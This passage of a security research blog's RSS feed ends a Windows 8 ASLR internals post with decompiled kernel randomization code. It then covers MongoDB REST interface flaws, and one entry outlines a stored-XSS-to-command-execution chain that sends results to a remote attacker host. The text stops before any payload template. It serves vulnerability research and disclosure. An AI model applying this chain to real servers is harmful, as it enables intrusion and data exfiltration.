                    GlobalRelocStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiObtainRelocationBits&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pImageBitMap&lt;span style="color: #808030;"&gt;,&lt;/span&gt; RelocationSizein64k&lt;span style="color: #808030;"&gt;,&lt;/span&gt; StartBit&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                    StartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;GlobalRelocStartBit &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; ? GlobalRelocStartBit &lt;span style="color: #808030;"&gt;:&lt;/span&gt; StartBit&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                    Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ImageTopAddress &lt;span style="color: #808030;"&gt;-&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;+&lt;/span&gt; StartBit&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: purple;"&gt;}&lt;/span&gt;

                a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;RelocStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; StartBit&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageRelocationStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; StartBit&lt;span style="color: purple;"&gt;;&lt;/span&gt;    
                pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageRelocationSizeIn64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;

                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; Result&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: dimgrey;"&gt;// EXE image&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;SelectedBase &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; NULL&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;BasedAddress&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;

        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;ImageBitmapType &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; MiMemoryHighLow&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;RelocStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;WORD&lt;span style="color: #808030;"&gt;)&lt;/span&gt;RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageRelocationStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageRelocationSizeIn64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;WORD&lt;span style="color: #808030;"&gt;)&lt;/span&gt;RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;DWORD&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;ExGenRandom&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;%&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;0x20001&lt;/span&gt; &lt;span style="color: #808030;"&gt;-&lt;/span&gt; RelocationSizein64k&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x7F60000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #008c00;"&gt;16&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    ULONG RandomVal &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ExGenRandom&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    RandomVal &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RandomVal &lt;span style="color: #808030;"&gt;%&lt;/span&gt; &lt;span style="color: green;"&gt;0xFE&lt;/span&gt; &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    RelocDelta &lt;span style="color: #808030;"&gt;=&lt;/span&gt; pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;BasedAddress &lt;span style="color: #808030;"&gt;-&lt;/span&gt; a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;SelectedBase&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocDelta &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt; MmHighsetUserAddress&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;  MmHighsetUserAddress&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocDelta &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocDelta&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocDelta &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt; MmHighsetUserAddress&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;SelectedBase &lt;span style="color: #808030;"&gt;+&lt;/span&gt; RandomVal &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt; pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;BasedAddress&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocDelta &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt; RandomVal&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocDelta &lt;span style="color: #808030;"&gt;-&lt;/span&gt; RandomVal&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            Result &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocDelta &lt;span style="color: #808030;"&gt;+&lt;/span&gt; RandomVal&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;Result &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; RelocDelta&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;+&lt;/span&gt; RelocDelta &lt;span style="color: #808030;"&gt;+&lt;/span&gt; RandomVal&lt;span style="color: #808030;"&gt;)&lt;/span&gt;  &lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x7FFFFFDFFFF&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;+&lt;/span&gt; RelocDelta &lt;span style="color: #808030;"&gt;+&lt;/span&gt; RandomVal&lt;span style="color: #808030;"&gt;)&lt;/span&gt;  &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;  &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocDelta &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: green;"&gt;0x10&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;
&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: dimgrey;"&gt;//random_epilog&lt;/span&gt;
    a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;RelocStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    a1&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;RelocationSizein64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageRelocationStartBit &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    pSeg&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ControlArea&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;ImageRelocationSizeIn64k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; RelocationSizein64k&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; Result&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;/pre&gt;
As we can see, there are three different image bitmaps. The first one is for 32-bit executables, the second is for x64, and the third is for x64 with the image base above 4GB, which grants them a high-entropy virtual address.&lt;br /&gt;
&lt;br /&gt;
The executables are randomized by a direct modification of the image base. As for the DLLs, ASLR is a part of relocation, and the random part of the image base selection process is ImageBias. It is a value that is initialized during the system startup.&lt;br /&gt;
&lt;pre style="background-color: white;"&gt;VOID MiInitializeRelocations&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    MiImageBias &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ExGenRandom&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;%&lt;/span&gt; &lt;span style="color: #008c00;"&gt;256&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    MiImageBias64Low &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ExGenRandom&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;%&lt;/span&gt; MiImageBitMap64Low&lt;span style="color: #808030;"&gt;.&lt;/span&gt;SizeOfBitMap&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    MiImageBias64High &lt;span style="color: #808030;"&gt;=&lt;/span&gt; ExGenRandom&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;%&lt;/span&gt; MiImageBitMap64High&lt;span style="color: #808030;"&gt;.&lt;/span&gt;SizeOfBitMap&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;/pre&gt;
Image bitmaps represent the address space of the running user processes. Once an executable image is loaded, it will have the same address for all the processes that reference it. It is natural because of efficiency and memory usage optimization, since executables use the copy-on-write mechanism.&lt;br /&gt;
ASLR implemented on Windows 8 can now force images, which are not ASLR aware, to be loaded at a random virtual address. The table below demonstrates the loader’s behavior with different combinations of ASLR-relevant linker flags.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-wURO4JF74Cg/UL271XqquDI/AAAAAAAACEQ/nhBZxgLW10w/s1600/table.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="532" src="http://1.bp.blogspot.com/-wURO4JF74Cg/UL271XqquDI/AAAAAAAACEQ/nhBZxgLW10w/s640/table.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;*Cannot be built with MSVS because the /DYNAMICBASE option also implies /FIXED:NO, which generates a relocation section in an executable.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
We can spot that the loader’s behavior changed in Windows 8 — if a relocation section is available in the PE file, it will be loaded anyway. It also proves that ASLR and the relocation mechanism are really interconnected.&lt;br /&gt;
&lt;br /&gt;
Generally we can say that implementation of the new ASLR features on Windows 8 doesn’t much influence the code logic, that is why it is difficult to find any profitable vulnerabilities in it. Entropy increase for randomizing various objects is in fact a substitution of a constant expression in a code. The code graphs also show that the code review has been done.&lt;br /&gt;
 &lt;br /&gt;
References:&lt;br /&gt;
&lt;br /&gt;
[1] Chris Valasek, Tarjei Mandt. Windows 8 Heap Internals. 2012.&lt;br /&gt;
[2] Ken Johnson, Matt Miller. Exploit Mitigation Improvements in Windows 8. Slides, Black Hat USA 2012.&lt;br /&gt;
[3] Intel. Intel®Digital Random Number Generator (DRNG): Software Implementation Guide. Intel Corporation, 2012.&lt;br /&gt;
[4] Ollie Whitehouse. An Analysis of Address Space Layout Randomization on Windows Vista. Symantec Advances Threat Research, 2007.&lt;br /&gt;
[5] Alexander Sotirov, Mark Dowd. Bypassing Browser Memory Protections. 2008.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</description><link>http://blog.ptsecurity.com/2012/12/windows-8-aslr-internals.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-uuwhVjo8NoE/UL29m57do4I/AAAAAAAACEY/6hXbUYlJtRU/s72-c/aslr-1.png" height="72" width="72" /><thr:total>14</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-9192328955969606750</guid><pubDate>Mon, 26 Nov 2012 13:52:00 +0000</pubDate><atom:updated>2012-11-26T05:52:29.550-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Mongo DB</category><title>Attacking MongoDB</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Mikhail Firstov, an expert at Positive Technologies, spoke at ZeroNights 2012, which lately took place in Moscow. The talk was about attacking a popular DBMS — MongoDB.&lt;br /&gt;
&lt;br /&gt;
The presentation and attack video demo are under the cut.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;iframe allowfullscreen="allowfullscreen" frameborder="0" height="356" marginheight="0" marginwidth="0" mozallowfullscreen="mozallowfullscreen" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/15314937" style="border: 1px solid rgb(204, 204, 204); margin-bottom: 5px;" webkitallowfullscreen="webkitallowfullscreen" width="427"&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div style="margin-bottom: 5px;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;REST:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="270" src="http://www.youtube.com/embed/HpqV_ZTwwp0?fs=1" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sniff:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="270" src="http://www.youtube.com/embed/nudJp-fwmf8?fs=1" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://github.com/cyberpunkych/attacking_mongodb" target="_blank"&gt;Github&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2012/11/attacking-mongodb.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/HpqV_ZTwwp0/default.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4550490798250307293</guid><pubDate>Mon, 26 Nov 2012 09:50:00 +0000</pubDate><atom:updated>2013-05-17T02:13:59.500-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Mongo DB</category><category domain="http://www.blogger.com/atom/ns#">Best of Positive Research</category><title>Attacking MongoDB</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
I'm not going to describe the way a database is installed: developers make everything possible to ease this process even without using manuals. Let's focus on features that seem really interesting. The first thing is a REST interface. It is a web interface, which runs by default on port 28017 and allows an administrator to control their databases remotely via a browser. Working with this DBMS option, I found several vulnerabilities: two stored XSS vulnerabilities, undocumented SSJS (Server Side Java Script) code execution, and multiple CSRF.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;
&lt;br /&gt;
I'm going to detail the above mentioned vulnerabilities. &amp;nbsp;The fields Clients and Log have two stored XSS vulnerabilities. It means that making any request with HTML code to the database, this code will be written to the source code of the page of the REST interface and will be executed in a browser of a person, who will visit this page. These vulnerabilities make the following attack possible:&lt;br /&gt;
&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Send a request with the tag SCRIPT and JS address.&lt;/li&gt;
&lt;li&gt;An administrator opens the web interface in a browser, and the JS code gets executed in this browser.&lt;/li&gt;
&lt;li&gt;Request command execution from the remote server via the JSONP script.&lt;/li&gt;
&lt;li&gt;The script performs the command using undocumented SSJS code execution.&lt;/li&gt;
&lt;li&gt;The result is sent to our remote host, where it is written to a log.&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
As to undocumented SSJS code execution, I've written a template, which can be modified as may seem necessary.&lt;br /&gt;
&lt;br /&gt;
